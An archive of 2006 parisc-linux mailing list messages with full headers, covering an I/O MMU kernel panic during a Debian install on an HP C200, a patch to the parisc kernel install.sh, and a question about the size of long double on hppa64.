X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23407

On Tue, Jan 31, 2006 at 05:04:57PM +0900, ???????????? wrote:
> Creating ext3 file system for / in partition #1 of SCSI1 (0,5,0)
> (sda)...Kernel panic: drivers/parisc/ccio-dma.c: ccio_alloc_range() I/O MMU
> is out of mapping resources.

sorry - this is a well known problem.
Here are two previous emails on the topic:
	http://lists.parisc-linux.org/pipermail/parisc-linux/2003-October/021244.html
	http://lists.parisc-linux.org/hypermail/parisc-linux/1686.html

If you want more info, Start here:
	http://www.parisc-linux.org/mailing-lists/index.html

and search for "ccio_alloc_range ccio_mem_ratio out of mapping"

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?UTF-8?B?642w7J207YSw7YWN?= <support@datatek.co.kr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trying to install ...bian-31r1a-hppa on a C200
Date: Tue, 31 Jan 2006 17:04:57 +0900
Lines: 56
Approved: news@gmane.org
Message-ID: <001101c6263d$06e3f0e0$040aa8c0__24363.6956591674$1416624002$gmane$org@local>
References: <004b01c62550$59414920$040aa8c0@local> <43DDCD29.8080800@bizzi.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="UTF-8"
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1416624002 18073 80.91.229.3 (22 Nov 2014 02:40:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:02 +0000 (UTC)
Cc: <debian-hppa@lists.debian.org>,
 <parisc-linux@lists.parisc-linux.org>
To: "Fabio Bizzi" <fbizzi@bizzi.org>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Jan 2006 08:17:56 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx005) with SMTP; 31 Jan 2006 09:17:56 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 347C22E06D; Tue, 31 Jan 2006 02:17:54 -0600 (CST)
Old-Return-Path: <support@datatek.co.kr>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from mxmss0.kpost.com (mxmss0.kpost.com [211.117.63.118])
	by murphy.debian.org (Postfix) with ESMTP id 1CDD02DF96
	for <debian-hppa@lists.debian.org>; Tue, 31 Jan 2006 01:56:47 -0600 (CST)
Original-Received: from datatek ([222.235.103.41]) by mxmss0.kpost.com with ESMTP
          id <20060131075644.GYII18279.mxmss0@datatek>;
          Tue, 31 Jan 2006 16:56:44 +0900
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1409
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1409
X-Rc-Spam: 2005-09-11_01
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Level: **
X-Spam-Status: No, score=3.0 required=4.0 tests=AWL,BODY_8BITS autolearn=no 
	version=3.0.3
Resent-Message-ID: <bAt54.A.wfD.y0x3DB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5127
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue, 31 Jan 2006 02:17:54 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: Y3itY1wmeSEkd76WZHQhaXN1IGRvb4BZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23408

SGksDQouDQpJIGZvbGxvd2VkIGFzIHlvdXIgcmVjb21tZW5kYXRpb24gLCBidXQgZmFpbGVkIGFz
IHRoZSBiZWxvdy4NCkkgdHJpZWQgd2l0aCBkZWJpYW4tMzFyMWEtaHBwYSBvbiBhIEMyMDAgb3Zl
ciAxMCB0aW1lcywgYnV0IG5vIG1lc3NhZ2Ugb2YgcmVib290Lg0KSSBqdXN0IG1ldCB0aGUgZm9s
bG93aW5nIG1lc3NhZ2UuDQpJcyB0aGlzIG1lc3NhZ2UgdGhlIHNhbWUgd2l0aCB5b3VyIGV4cGVy
aWVuY2UgPw0KLi4uLi4NCi4uLg0KQ3JlYXRpbmcgZXh0MyBmaWxlIHN5c3RlbSBmb3IgLyBpbiBw
YXJ0aXRpb24gIzEgb2YgU0NTSTEgKDAsNSwwKQ0KKHNkYSkuLi5LZXJuZWwgcGFuaWM6IGRyaXZl
cnMvcGFyaXNjL2NjaW8tZG1hLmM6IGNjaW9fYWxsb2NfcmFuZ2UoKSBJL08gTU1VDQppcyBvdXQg
b2YgbWFwcGluZyByZXNvdXJjZXMuDQpJbiBpbnRlcnJ1cHQgaGFuZGxlciAtIG5vdCBzeW5jaW5n
DQouLi4NCg0KPiBTbyB5b3UgaGF2ZSB0byBkbyBhIGNsZWFuIGluc3RhbGxhdGlvbiBmcm9tIDMu
MXIxYSBkaXNrcywgYW5kIHdoZW4gdGhlDQoNCldoYXQgZG8geW91IG1lYW4gJ2EgY2xlYW4gaW5z
dGFsbGF0aW9uJyA/DQoNCj4gaW5zdGFsbGVyIGFza3MgdG8geW91IHRvIHJlYm9vdCwgeW91IGhh
dmUgdG8gImdvIGJhY2siIHVudGlsIHRoZSBtYWluLi4NCg0KSW4gbXkgY2FzZSB0aGVyZSBpcyBu
byBhc2tpbmcgdG8gcmVib290Lg0KDQpDb3VsZCB5b3UgcGxlYXNlIGdpdmUgbWUgc29tZSB0aXBz
IGZvciBib290aW5nIG9uIEhQIEMyMDAgPw0KSSBkbyBhcHByZWNpYXRlIHlvdXIgY29uc2lkZXJh
dGlvbi4NCi4NCkZyaWVuZGx5LA0KTm9iZWwNCg0KDQoNCg0KLS0tLS0gT3JpZ2luYWwgTWVzc2Fn
ZSAtLS0tLSANCkZyb206ICJGYWJpbyBCaXp6aSIgPGZiaXp6aUBiaXp6aS5vcmc+DQpUbzogIuuN
sOydtO2EsO2FjSIgPHN1cHBvcnRAZGF0YXRlay5jby5rcj4NCkNjOiA8ZGViaWFuLWhwcGFAbGlz
dHMuZGViaWFuLm9yZz47IDxwYXJpc2MtbGludXhAbGlzdHMucGFyaXNjLWxpbnV4Lm9yZz4NClNl
bnQ6IE1vbmRheSwgSmFudWFyeSAzMCwgMjAwNiA1OjI0IFBNDQpTdWJqZWN0OiBSZTogW3Bhcmlz
Yy1saW51eF0gVHJ5aW5nIHRvIGluc3RhbGwgLi4uYmlhbi0zMXIxYS1ocHBhIG9uIGEgQzIwMA0K
DQoNCj4g642w7J207YSw7YWNIHdyb3RlOg0KPiA+IEkgd291bGQgbGlrZSB0byBpbnN0YWxsIGEg
ZGViaWFuLTMxcjFhLWhwcGEtbmV0aW5zdC5pc28sIGJ1dCB0aGVyZSdzIGFuIA0KPiA+IGVycm9y
IHdoaWxlIGJhc2UgaW5zdGFsbGF0aW9uLg0KPiA+IE15IG1hY2hpbmUgaXMgSFAgQzIwMCBoYXZp
bmcgMjU2TUIgd2l0aCBTQ1NJIENELCBTQ1NJIEhERCgxOEdCKS4NCj4gDQo+IE9rLCB3ZSBoYXZl
IHdvcmtlZCBpdCBvdXQgc29tZSB0aW1lcyBhZ28nISA6KQ0KPiANCj4gVGhlIHByb2JsZW0gaXMg
dGhhdCB0aGUgc3RvY2sgc2FyZ2Uga2VybmVsIGlzIGJ1Z2d5IG9uIGJpZyBkaXNrcy4NCj4gU28g
eW91IGhhdmUgdG8gZG8gYSBjbGVhbiBpbnN0YWxsYXRpb24gZnJvbSAzLjFyMWEgZGlza3MsIGFu
ZCB3aGVuIHRoZQ0KPiBpbnN0YWxsZXIgYXNrcyB0byB5b3UgdG8gcmVib290LCB5b3UgaGF2ZSB0
byAiZ28gYmFjayIgdW50aWwgdGhlIG1haW4NCj4gbWVudSBvZiB0aGUgaW5zdGFsbGVyIHdpbGwg
c2hvd24uDQo+IEF0IHRoaXMgcG9pbnQgeW91IGhhdmUgdG8gb3BlbiBhIHNoZWxsLCB2ZXJpZnkg
dGhhdCBhbGwgdGhlIHBhcnRpdGlvbnMNCj4gb2YgdGhlIHRhcmdldCBmaWxlIHN5c3RlbSBhcmUg
bW91bnRlZCBlZzoNCj4gDQo+IC9kZXYvc2RhMSBvbiAvdGFyZ2V0L2Jvb3QgZXh0Mg0KPiAvZGV2
L3NkYTUgb24gL3RhcmdldCBleHQzDQo+IC9ub25lIG9uIC90YXJnZXQvcHJvYyBwcm9jZnMNCj4g
DQo+IEl0J3MgaW1wb3J0YW50IHRoYXQgcHJvYyBmaWxlIHN5c3RlbSBpcyBtb3VudGVkIG9uIHRo
ZSB0YXJnZXQgZmlsZQ0KPiBzeXN0ZW0gb3IgdGhlIGluc3RhbGxhdGlvbiBvZiB0aGUgbmV3IGtl
cm5lbCB3aWxsIGZhaWwuDQo+IA0KPiBOb3cgZG8gYSBjaHJvb3QgdG8gdGhlIG5ldyBzeXN0ZW0g
IiMgY2hyb290IC90YXJnZXQgL2Jpbi9iYXNoIg0KPiB3Z2V0IHRvIHRoZSBud2UgZmlsZXN5c3Rl
bSB0aGUgdGVzdGluZyBrZXJuZWwgaW1hZ2VzOg0KPiANCj4gDQo+ICMgd2dldA0KPiBodHRwOi8v
ZnRwLmllLmRlYmlhbi5vcmcvZGViaWFuL3Bvb2wvbWFpbi9sL2xpbnV4LTIuNi9saW51eC1pbWFn
ZS1wYXJpc2NfMi42LjEyLTEwX2hwcGEuZGViDQo+ICMgd2dldA0KPiBodHRwOi8vZnRwLmllLmRl
Ymlhbi5vcmcvZGViaWFuL3Bvb2wvbWFpbi9sL2xpbnV4LTIuNi9saW51eC1pbWFnZS0yLjYtcGFy
aXNjXzIuNi4xMi0xMF9ocHBhLmRlYg0KPiAjIHdnZXQNCj4gaHR0cDovL2Z0cC5pZS5kZWJpYW4u
b3JnL2RlYmlhbi9wb29sL21haW4vbC9saW51eC0yLjYvbGludXgtaW1hZ2UtMi42LjEyLTEtcGFy
aXNjXzIuNi4xMi0xMF9ocHBhLmRlYg0KPiANCj4gQW5kIG5vdyBpbnN0YWxsIHRoZW0gd2l0aCDi
gJwjZHBrZyAtaSBsaW51eC0q4oCdLCBhZnRlciB0aGUgaW5zdGFsbGF0aW9uIGRvDQo+IGEgIiMg
cGFsbyIgYW5kIGV4aXQgZnJvbSB0aGUgc2hlbGwuDQo+IA0KPiBVbm1vdW50IHRoZSBwcm9jIGZp
bGVzeXN0ZW0gZnJvbSB0aGUgdGFyZ2V0IGZpbGVzeXN0ZW0g4oCcIyB1bm1vdW50DQo+IC90YXJn
ZXQvcHJvY+KAnSBhbmQgZXhpdCBmcm9tIHRoZSBzaGVsbC4NCj4gDQo+IFNlbGVjdCB0aGUg4oCc
ZmluaXNoIGluc3RhbGxhdGlvbuKAnSBvZiB0aGUgaW5zdGFsbGF0aW9uIHByb2dyYW3igJlzIG1l
bsO5IGFuZA0KPiByZWJvb3QgdGhlIEMyMDAsIGFmdGVyIHRoZSByZWJvb3QgY29udGludWUgd2l0
aCBiYXNlLWNvbmZpZyBhbmQgc28gb24uLi4uIDspDQo+IA0KPiANCj4gSWYgeW91IGV4cGVyaWVu
Y2UgdHJvdWJsZXMgYmVmb3JlIHRoZSAicmVib290IiBwcm9tcHQsIHBvd2VyIG9mZiBhbmQgdHJ5
DQo+IGFnYWluLi4uIHNvbWV0aW1lIGl0IGhhcHBlbnMhIDspDQo+IA0KPiBDaWFvLg0KPiANCj4g
RmFiaW8u



From - Thu Nov 08 21:34:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel install.sh patch/enhancement?
Date: Sat, 04 Feb 2006 18:15:13 +0000
Lines: 112
Approved: news@gmane.org
Message-ID: <43E4EF31.3080300@tiscali.be>
References: <ITJYTG$104D92B447D6B504FB5F1167C1BF3EF1@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624002 18077 80.91.229.3 (22 Nov 2014 02:40:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:02 +0000 (UTC)
Cc: Joel Soete <jsoete@morethan.org>
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Feb 2006 18:15:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 04 Feb 2006 19:15:31 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 63C4E7D75C;
	Sat,  4 Feb 2006 11:15:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22817-02; Sat, 4 Feb 2006 11:15:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A8F937D75D;
	Sat,  4 Feb 2006 11:15:26 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5CE997D758
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Feb 2006 11:15:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22518-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Feb 2006 11:15:22 -0700 (MST)
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by free.linux.hp.com (Postfix) with ESMTP id 5C6BB7D755
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Feb 2006 11:15:22 -0700 (MST)
Original-Received: from ([62.235.215.69]) 
	by xizor.is.scarlet.be  with ESMTP id k14IFJE01900; 
	Sat, 4 Feb 2006 19:15:19 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.12) Gecko/20051007 Debian/1.7.12-1
X-Accept-Language: en
In-Reply-To: <ITJYTG$104D92B447D6B504FB5F1167C1BF3EF1@scarlet.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: E4qWY6BAeSEkSb6WZHQhaXN1IGRvb8AT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23409

Hello pa*,


Joel Soete wrote:
> Hello pa*,
> 
> Just some small hunck to (I hope) improve our kernel install.sh.
> 
snip
> 2/ append kernel version to filename (as many other arch too):
> --- arch/parisc/install.sh.Orig 2006-01-23 14:30:17.000000000 +0100
> +++ arch/parisc/install.sh      2006-01-23 15:30:30.000000000 +0100
snip
> @@ -44,13 +47,18 @@
>  
>  # Default install
>  
> -if [ -f $4/vmlinux ]; then
> -       mv $4/vmlinux $4/vmlinux.old
> +if [ -f $4/vmlinux-$1 ]; then
> +       mv $4/vmlinux-$1 $4/vmlinux.old
> +fi
> +
> +if [ -f $4/System.map-$1 ]; then
> +       mv $4/System.map-$1 $4/System.old
>  fi
>  
> -if [ -f $4/System.map ]; then
> -       mv $4/System.map $4/System.old
> +if [ -f $4/config-$1 ]; then
> +       mv $4/config-$1 $4/config.old
>  fi
>  
> -cat $2 > $4/vmlinux
> -cp $3 $4/System.map
> +cat $2 > $4/vmlinux-$1
> +cp $3 $4/System.map-$1
> +cp .config $4/config-$1
> 
> 3/ my paranoid check (because by /boot is a fs usualy mounted in ro, as I
> presume most of sysadm ;-?) 
> --- arch/parisc/install.sh.Orig 2006-01-23 15:32:42.000000000 +0100
> +++ arch/parisc/install.sh      2006-01-23 15:57:24.000000000 +0100
snip
> @@ -62,3 +82,13 @@
>  cat $2 > $4/vmlinux-$1
>  cp $3 $4/System.map-$1
>  cp .config $4/config-$1
> +
> +if [ -h $4/vmlinux ]; then
> +       mv $4/vmlinux $4/vmlinux.prev
> +       ln -sf $4/vmlinux-$1 $4/vmlinux
> +fi
> +
> +if [ -h $4/System.map ]; then
> +       mv $4/System.map $4/System.prev
> +       ln -sf $4/System.map-$1 $4/System.map
> +fi
> ====<>====
> 
There was obviously some small bugs in those to hunk which I change like:
--- arch/parisc/install.sh.Orig 2006-02-03 14:34:17.000000000 +0100
+++ arch/parisc/install.sh      2006-02-03 14:17:12.000000000 +0100
@@ -68,27 +68,29 @@
  # Default install

  if [ -f $4/vmlinux-$1 ]; then
-       mv $4/vmlinux-$1 $4/vmlinux.old
+       mv $4/vmlinux-$1 $4/vmlinux-$1.old
  fi

  if [ -f $4/System.map-$1 ]; then
-       mv $4/System.map-$1 $4/System.old
+       mv $4/System.map-$1 $4/System.map-$1.old
  fi

  if [ -f $4/config-$1 ]; then
-       mv $4/config-$1 $4/config.old
+       mv $4/config-$1 $4/config-1$.old
  fi

  cat $2 > $4/vmlinux-$1
  cp $3 $4/System.map-$1
  cp .config $4/config-$1

-if [ -h $4/vmlinux ]; then
-       mv $4/vmlinux $4/vmlinux.prev
-       ln -sf $4/vmlinux-$1 $4/vmlinux
+cd $4
+if [ -h vmlinux ]; then
+       mv vmlinux vmlinux.prev
+       ln -sf vmlinux-$1 vmlinux
  fi

-if [ -h $4/System.map ]; then
-       mv $4/System.map $4/System.prev
-       ln -sf $4/System.map-$1 $4/System.map
+if [ -h System.map ]; then
+       mv System.map System.map.prev
+       ln -sf System.map-$1 System.map
  fi
+cd -
====<>====

Tx,
     Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] long double on hppa64-*-linux*
Date: Sat, 4 Feb 2006 18:41:00 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <200602042341.k14Nf0P9005946@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624003 18082 80.91.229.3 (22 Nov 2014 02:40:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:03 +0000 (UTC)
Cc: carlos@systemhalted.org,
 parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Feb 2006 23:41:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx012) with SMTP; 05 Feb 2006 00:41:44 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B4497D71C;
	Sat,  4 Feb 2006 16:41:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26373-04; Sat, 4 Feb 2006 16:41:39 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DBE1A7D732;
	Sat,  4 Feb 2006 16:41:38 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D62F37D71A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Feb 2006 16:41:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26372-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Feb 2006 16:41:35 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 2747D7D719
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Feb 2006 16:41:35 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k14Nf1il005948; Sat, 4 Feb 2006 18:41:01 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k14Nf0P9005946;
	Sat, 4 Feb 2006 18:41:00 -0500 (EST)
In-Reply-To: <no.id> from "John David Anglin" at Feb 3, 2006 07:11:26 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 7l6XYy1weSEkfr6WZHQhaXN1IGRvbwDD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23410

I noticed another long double issue.  Long double is defined to be 128
bits on all 64-bit targets on the PA.  I believe that it should be 128 bits
only on hpux.

I would like to change the long double default on PA64t o 64 bits as there
isn't any hardware support for the 128-bit type, and we currently don't
have software support for 128-bit long doubles implemented.  I can't see
this affecting anything, but it's another ABI change and I thought I should
ask.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] "I/O MMU is out of mapping resources" while a base
	install into HP C200
Date: Sat, 4 Feb 2006 17:39:24 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <20060205003924.GA2225@colo.lackof.org>
References: <20060204095247.1896.qmail@web54511.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624003 18089 80.91.229.3 (22 Nov 2014 02:40:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:03 +0000 (UTC)
Cc: debian-hppa-request@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: yong Jung <yong_jk@yahoo.com>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Feb 2006 00:29:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx037) with SMTP; 05 Feb 2006 01:29:46 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 708667D75D;
	Sat,  4 Feb 2006 17:29:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26817-01; Sat, 4 Feb 2006 17:29:41 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1E9E07D760;
	Sat,  4 Feb 2006 17:29:41 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3BD297D75A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Feb 2006 17:29:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26373-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Feb 2006 17:29:37 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 953E47D758
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Feb 2006 17:29:37 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 6D24A360018;
	Sat,  4 Feb 2006 17:39:26 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13947-02; Sat, 4 Feb 2006 17:39:25 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 02863360014; Sat,  4 Feb 2006 17:39:25 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20060204095247.1896.qmail@web54511.mail.yahoo.com>
